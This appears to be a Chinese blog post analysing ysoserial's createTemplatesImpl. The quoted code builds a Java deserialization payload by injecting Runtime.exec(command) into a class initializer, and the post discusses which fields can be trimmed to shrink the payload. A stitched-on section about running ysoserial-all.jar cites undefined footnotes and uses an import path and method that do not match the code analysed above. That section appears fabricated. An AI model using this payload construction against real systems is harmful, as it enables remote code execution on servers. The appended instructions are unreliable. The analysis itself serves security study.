ysoserial Gadgets.createTemplatesImpl函数分析

前言

在阅读《java反序列化工具ysoserial分析》之后,对ysoserial有了一些更深的了解,但文章在对createTemplatesImpl函数进行分析中,没有解释一些代码作用,本文是对其分析的一些补充及发现的一些疑问。

在阅读本文前请先阅读《java反序列化工具ysoserial分析》中关于TemplatesImpl利用链以及createTemplatesImpl分析的部分

分析

createTemplatesImpl实现代码如下:

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
    	//实例化TemplatesImpl
        final T templates = tplClass.newInstance();

        // use template gadget class
    	//************************创建Payload类开始*******************************
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();
		//************************创建Payload类结束*******************************
		
        // inject class bytes into instance,插入Class字节码到TemplatesImpl实例
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });
    
        // required to make TemplatesImpl happy,喵喵喵?
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

  1. final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    

可以看出,整个类是基于Gadgets文件中的StubTransletPayload类进行修改。

为什么要基于StubTransletPayload进行修改?

StubTransletPayload实现如下:

在这里插入图片描述

因为在调用链的defineTransletClasses函数时,会将父类为AbstractTranslet的class索引赋值给_transletIndex:

for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class,检测父类是否为AbstractTranslet
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

而后在函数getTransletInstance中,会将_transletIndex对应的类进行实例化:

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

所以我们需要将我们所期望的代码写入父类为AbstractTranslet的类的构造函数中。

Reflections.setFieldValue(templates, "_name", "Pwnr");

调用链的getTransletInstance函数中,首先进行了如下判断:

if (_name == null) return null;

如果不设置_name值会导致调用链直接退出,不进行后续的payload类实例化

疑问

Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

为什么_bytecodes数组中需要而外存放一个无用类,而不是只存放刚刚生成带有payload的类?

Foo类是一个只实现了Serializable接口没有包含任何其他内容的类,没有任何作用。

尝试着只保留payload类,也并不影响执行。

相关代码段:

  final int classCount = _bytecodes.length;
            _class = new Class[classCount];
			//重点位置:
            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

TemplatesImpl类成员_auxClasses默认为null,可以看出只有_bytecodes数组长度>=2时,才会对_auxClasses进行创建。但是如果长度为1,并且父类为AbstractTranslet也不影响payload的执行。

Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());

这句删除了也不影响,看了jdk1.6/1.7/1.8的代码在执行TemplatesImpl的readObject函数时都会在结尾对_tfactory进行重新构造:

private void  readObject(ObjectInputStream is)
      throws IOException, ClassNotFoundException
{
。。。。
_tfactory = new TransformerFactoryImpl();
}

表示这个很迷。。

补充: _tfactory字段为transient修饰,并不参与序列化。

  1. 删除了疑问1项后,以CommonsCollections2为例,执行calc的payload大小从3231字节减少到了2753字节,减少了478字节。删除了疑问2代码后大小完全没变???

    查看代码,发现TemplatesImpl的_tfactory属性前面有transient修饰符,也就是说该属性并不参与到序列化中,所以疑问2这句加不加完全没区别。(也就是为什么readObject中会对其重新构造)

    在jdk1.6/1.8下进行了测试,Payload可以正常使用

### 如何在Java中运行或打开 `ysoserial-all.jar` 文件 要运行或打开 `ysoserial-all.jar` 文件,可以通过命令行工具或者集成开发环境(IDE)来完成。以下是具体的操作说明: #### 使用命令行运行 `ysoserial-all.jar` 1. **确认JDK已安装并配置好环境变量** 需要确保计算机上已经安装了 JDK 并正确设置了 JAVA_HOME 和 PATH 环境变量[^6]。 2. **定位到 JAR 文件所在目录** 打开终端或命令提示符,切换至包含 `ysoserial-all.jar` 的目标文件夹。例如: ```bash cd /path/to/target/directory/ ``` 3. **执行 JAR 文件** 使用以下命令启动 JAR 文件: ```bash java -jar ysoserial-all.jar ``` 如果需要指定特定参数,则可以在后面附加这些选项。例如,如果想查看帮助信息,可以尝试: ```bash java -jar ysoserial-all.jar --help ``` 4. **验证输出结果** 成功运行后,程序会显示可用的序列化漏洞利用方式以及相关选项列表[^7]。 #### 在 IDE 中加载和调试 `ysoserial-all.jar` 对于更复杂的场景,可能还需要通过 IDE 来分析源码或设置断点进行调试。操作如下: 1. **创建新项目** 在 Eclipse 或 IntelliJ IDEA 等支持 Java 开发的环境中新建一个 Maven/Gradle 项目。 2. **导入外部库** 将下载好的 `ysoserial-all.jar` 添加到项目的构建路径中。如果是 Maven 项目,可以直接将其放置于 `lib` 文件夹并通过 pom.xml 引入;而 Gradle 则需修改 build.gradle 文件中的 dependencies 节点。 3. **编写测试类** 创建一个新的 Java 类用于调用 jar 包内的功能函数。比如下面这段简单的代码演示了如何实例化某个对象并打印其属性值: ```java import com.github.mbechler.yso.payloads.util.Gadgets; public class TestYsoSerial { public static void main(String[] args) throws Exception { System.out.println(Gadgets.createPayload(args[0])); } } ``` 4. **运行应用程序** 设置合适的输入参数之后即可点击 Run 按钮开始执行上述脚本逻辑[^8]。 --- ### 注意事项 - 运行此类工具前务必清楚潜在风险,仅限合法授权范围内研究用途。 - 不同版本之间可能存在差异,请参照官方文档获取最新指导[^9]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值